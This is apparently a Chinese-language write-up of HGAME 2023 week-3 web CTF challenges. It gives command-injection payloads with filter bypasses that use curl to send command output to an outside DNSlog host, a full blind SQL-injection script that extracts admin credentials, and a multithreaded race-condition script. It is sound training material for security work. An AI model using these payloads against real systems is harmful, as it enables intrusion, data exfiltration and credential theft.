HGAME_2023_WEB_WP_WEEK3

Ping to the host

很明显的rce，简单测试一下发现空格，cat，；被办，且执行无回显，空格用${IFS},%09,$IFS$9等等来绕过，我们利用dnslog将执行结果外带出来，这里使用的是http://ceye.io/

由于每次dnslog只能带出一条信息，我们利用sed -n来爆破其它信息

ip=|curl${IFS}http://?????.ceye.io/`ls${IFS}/|sed${IFS}-n${IFS}'1p'`

得到flag文件名为: flag_is_here_haha

flag也被办了，用通配符读取就行了

ip=|curl${IFS}http://?????.ceye.io/`ca''t%09/fla*`

Login To Get My Gift

简单的SQL注入，得到admin账号密码即可得到flag，这里直接给exp:

import requests
flag = ''
def attack_post(url):
    global flag
    r = requests.session()
    for i in range(1, 100000):
        low = 32
        high = 127
        mid = (low + high) // 2
        while low < high:
            payload = f"a'/**/||/**/((ascii(right(left(database(),{i}),1)))<{mid})#"
            payload1 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database()),{i}),1)))<{mid})#"
            payload2 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'),{i}),1)))<{mid})#"
            payload3 = f"a'/**/||/**/((ascii(right(left((select/**/group_concat(concat_ws(':',UsErN4me,PAssw0rD))/**/from/**/User1nf0mAt1on),{i}),1)))<{mid})#"
            # print(payload)
            data = {
                'username': 'testuser',
                'password': payload3
            }
            rp = r.post(url, data=data)
            # print(rp.text)
            if 'Success!' in rp.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if low <= 32 or high >= 127:
            break
        flag += chr(mid - 1)
        print(flag)
if __name__ == '__main__':
    url = 'http://week-3.hgame.lwsec.cn:30369/login'
    attack_post(url)

Gopher Shop

下载附件是源码，先对题目环境分析一波，是一个商店的界面，售卖一些商品，其中有FLAG，可以知道肯定需要买到这个FLAG

接下来分析源码，找到user.go这个文件，这里面是对销售的一些功能实现，往下可以看到判断是否卖的出这个函数，if判断后，直接

对商品数量进行加减，这里猜测可以条件竞争，直接过if买到FLAG，其实正解应该是go的uint溢出，这里应该算非预期了。

import requests
import threading
headers = {
    'Cookie': 'SESSION=MTY3NDU1MjI0MnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw23LorOFg5LmryZzZcxm8ESbYpNFaTv1UjY2UkMozyJw==; session=MTY3NDcwNzYyM3xEdi1CQkFFQ180SUFBUkFCRUFBQUpfLUNBQUVHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZz09fM5a-9HM-2vbFCrfAbfLVU049emtbxCloYDTab3QDEx-'
}
def get(url):
    r = requests.get(url=url, headers=headers)

if __name__ == '__main__':
    url = 'http://week-3.hgame.lwsec.cn:30552/api/v1/user/buyProduct?product=Flag&number=1'
    for i in range(100000):
        threading.Thread(target=get, args=(url,)).start()

然后界面就直接买到FLAG了，checkFLAG即可拿到flag值：

hgame{GopherShop_M@gic_1nt_0verflow}